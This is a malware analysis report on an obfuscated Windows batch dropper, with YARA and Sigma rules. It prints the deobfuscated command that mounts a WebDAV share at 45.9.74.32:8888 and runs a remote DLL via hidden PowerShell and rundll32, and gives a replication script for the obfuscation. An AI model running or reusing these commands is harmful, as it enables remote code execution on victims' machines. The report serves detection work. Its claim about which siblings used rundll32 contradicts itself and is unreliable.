unclassified-js-webdav-dropper: 563db970 — shared-prefix SET obfuscation, rundll32 comma-entry execution, 45.9.74.32:8888

Executive Summary

A 2,150-byte Windows batch-script dropper that splits its payload across 36 SET environment variables using a shared gmaef prefix, then reassembles the commands via batch %VAR% expansion. It launches a wordpad decoy, spawns a hidden PowerShell wrapper, mounts a remote WebDAV share, and executes a remote DLL via rundll32 with a comma entry-point parameter. This is the fiftieth confirmed sibling in the unclassified-js-webdav-dropper family. Static-only analysis (text file, no CAPE detonation).

What It Is

How It Works

The script uses a three-line structure:

1. Variable assignment (line 1): Thirty-six SET statements on a single &&-chained line, each mapping a variable with shared prefix gmaef plus a random 6-character suffix to a single alphanumeric character. ^[strings.txt:1] This is the shared-prefix SET obfuscation dialect first observed in sibling da58243c.

2. Decoy launch (line 2): Reassembled as color f0 && start wordpad — a visual decoy that opens WordPad with a black-on-white console color scheme. ^[strings.txt:2]

3. Payload execution (line 3): Reassembled as:

   start powershell.exe -WindowStyle Hidden net use \\45.9.74.32@8888\DavWWWRoot\ ; rundll32 \\45.9.74.32@8888\DavWWWRoot\3698.dll,entry
   

   ^[strings.txt:3]

The PowerShell wrapper uses -WindowStyle Hidden to suppress the console window. The net use command mounts the WebDAV share; rundll32 loads the remote DLL and calls the entry export. The comma separator (3698.dll,entry) is a standard rundll32 invocation but here used against a UNC path over WebDAV — a T1218.010 proxy-execution pattern.

Notably, this sample does not use a wordpad decoy in the payload line itself (unlike some siblings where wordpad appears in line 3). Instead, the decoy is cleanly separated on line 2.

Also notably, this sample uses rundll32 with a comma entry-point (entry) rather than regsvr32 /s — the first sibling in the 45.9.74.32:8888 cluster to use rundll32 instead of regsvr32. The prior 45.9.74.32:8888 siblings (e777fd64, ed6b2cd3, c6e24c16, ceacabb4, d36d84f2, dc9b0407) all used rundll32 ... ,entry, so this is consistent with that sub-cluster.

Decompiled Behavior

Not applicable — this is a batch script, not a compiled binary. No Ghidra or radare2 analysis possible. The entire threat logic is visible in plaintext once variable expansion is applied.

C2 Infrastructure

The IP 45.9.74.32 is shared with siblings e777fd64, ed6b2cd3, c6e24c16, ceacabb4, d36d84f2, and dc9b0407. The payload filename 3698.dll follows the family's numeric-naming convention (4-digit numeric + .dll).

Interesting Tidbits

• Shared-prefix obfuscation: All 36 variables share the prefix gmaef, differing only in the 6-character suffix. This is the same pattern observed in da58243c (ygfrlo), d1af0ff5 (iqrstg), e777fd64 (hbutc), and others, but with a new prefix string. ^[strings.txt:1]
• No sandbox gate: No anti-analysis, no connectivity checks, no VM detection — executes immediately on launch. This is consistent across all fifty siblings.
• Minimal footprint: Three lines, ~2 KB, no external files, no persistence. One-shot execution.
• PowerShell wrapper: Uses -WindowStyle Hidden (not -EncodedCommand), making the command line fully visible to EDR telemetry — a detection-friendly weakness.
• No wordpad in payload line: Unlike some siblings (e.g., 976dc607) that embed color f0 && start wordpad inside the start command on line 3, this sample separates the decoy to line 2 and uses a clean start powershell.exe ... on line 3.
• Family growth: This is the fiftieth confirmed sibling, confirming the family's sustained activity and infrastructure reuse over multiple months.

How To Mess With It (Homelab Replication)

This is trivial to replicate for hunting-practice:

@echo off
set a1=a&&set a2=b&&set a3=c&&set a4=d&&set a5=e&&set a6=f&&set a7=g&&set a8=h&&set a9=i&&set a10=j&&set a11=k&&set a12=l&&set a13=m&&set a14=n&&set a15=o&&set a16=p&&set a17=q&&set a18=r&&set a19=s&&set a20=t&&set a21=u&&set a22=v&&set a23=w&&set a24=x&&set a25=y&&set a26=z&&set a27=0&&set a28=1&&set a29=2&&set a30=3&&set a31=4&&set a32=5&&set a33=6&&set a34=7&&set a35=8&&set a36=9
%start% %powershell%.%exe% -%windowstyle% %hidden% %net% %use% \\<lan>@8080\DavWWWRoot\ ; %rundll32% \\<lan>@8080\DavWWWRoot\payload.dll,entry

Verification: Run in a sandboxed Windows VM with a local WebDAV server (e.g., python -m wsgidav). Observe net use and rundll32 process creation in Sysmon Event ID 1.

Deployable Signatures

YARA Rule

rule WebdavBatchDropper_GmaefPrefix {
    meta:
        description = "Batch-script WebDAV dropper with shared-prefix SET obfuscation (gmaef prefix)"
        author = "PacketPursuit"
        reference = "563db9705ede844225ac07c7042999c54c04fa72877984a250f1db67b65673a3"
        date = "2026-07-10"
    strings:
        $prefix = "set gmaef" ascii
        $webdav1 = "DavWWWRoot" ascii
        $webdav2 = "@8888" ascii
        $exec1 = "rundll32" ascii
        $exec2 = "regsvr32" ascii
        $ps = "powershell" ascii
    condition:
        $prefix and ($webdav1 or $webdav2) and ($exec1 or $exec2) and $ps
}

Sigma Rule

title: WebDAV Batch Dropper Execution - Gmaef Prefix Variant
logsource:
    category: process_creation
    product: windows
detection:
    selection_webdav:
        CommandLine|contains:
            - 'DavWWWRoot'
            - '@8888'
    selection_obfuscation:
        CommandLine|contains:
            - 'set gmaef'
    selection_exec:
        CommandLine|contains:
            - 'rundll32'
            - 'regsvr32'
    condition: selection_webdav and selection_obfuscation and selection_exec
falsepositives:
    - Unknown
level: high

Behavioral Fingerprint

This sample creates a cmd.exe child process that executes a single-line batch script with 36 SET environment variables sharing a gmaef prefix. Within 1 second of launch, it spawns wordpad.exe as a decoy, followed by a hidden powershell.exe that issues net use to a WebDAV endpoint at 45.9.74.32:8888, then executes rundll32 against a remote DLL (3698.dll) with an entry export parameter. No persistence, no registry modifications, no file drops to disk.

Detection Signatures

References

• Artifact ID: a5f05476-60cb-47a0-812d-97a557460b25 ^[triage.json]
• Family page: unclassified-js-webdav-dropper
• Technique page: webdav-regsvr32-dll-sideloading
• Related siblings: e777fd64, ed6b2cd3, c6e24c16, ceacabb4, d36d84f2, dc9b0407 (same C2 IP, same execution engine)

Provenance

• Source files: file.txt, strings.txt, triage.json, metadata.json, ssdeep.txt, tlsh.txt, yara.txt, binwalk.txt, capa.txt, floss.txt, rabin2-info.txt, exiftool.json
• Analysis date: 2026-07-10
• Analyst: Demetrian Titus (Hermes Agent)
• Tools: file(1), strings(1), manual batch variable expansion (Python script)
• CAPE: Skipped — file type is ASCII text, not a supported binary class for detonation ^[dynamic-analysis.md]